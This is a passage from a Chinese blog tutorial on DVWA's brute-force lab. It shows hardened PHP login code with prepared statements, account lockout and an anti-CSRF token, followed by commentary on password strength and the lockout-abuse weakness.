        $data = $db->prepare( ''UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;'' );
        $data->bindParam( '':user'', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( ''UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;'' );
        $data->bindParam( '':user'', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( ''UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;'' );
    $data->bindParam( '':user'', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

这代码就多了很多锁定用户的逻辑了。而且 sql 查询也不用stripslashes( $pass )mysql_real_escape_string($pass )了,更加简洁和安全了。觉得最好还是加个验证码,比如是错了三次之后就要填写验证码之类的逻辑。

最后

  1. 任何手段都无法保护弱密码,如果密码就是 123456,password之类的弱密码就不需要爆破也能解决,当你的密码是有大小写的英文,有数字,有特殊符号(@#.)之类的8位数以上就非常难被爆破获得了
  2. 锁定的用户的逻辑其实是有漏洞的,假如我讨厌一个人,那么我写个程序每隔一段登录失败,他就永远登录不了了。。。
  3. 登录简单吗?一个简单的功能可以很简单,但也可以很不靠谱,老鸟与菜鸟实现同一种功能可能会考虑很多种情况,为何他会知道这种情况,可能是看书的,可能是看别人写的代码,但更有可能是坑过或者曾被坑过。。。这就是老鸟的价值了。

关于DVWA 黑客攻防演练十三JS 攻击 JavaScript Attacks的问题我们已经讲解完毕,感谢您的阅读,如果还想了解更多关于DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass、DVWA 黑客攻防演练(一) 介绍及安装、DVWA 黑客攻防演练(三)命令行注入(Command Injection)、DVWA 黑客攻防演练(二)暴力破解 Brute Froce等相关内容,可以在本站寻找。

本文标签: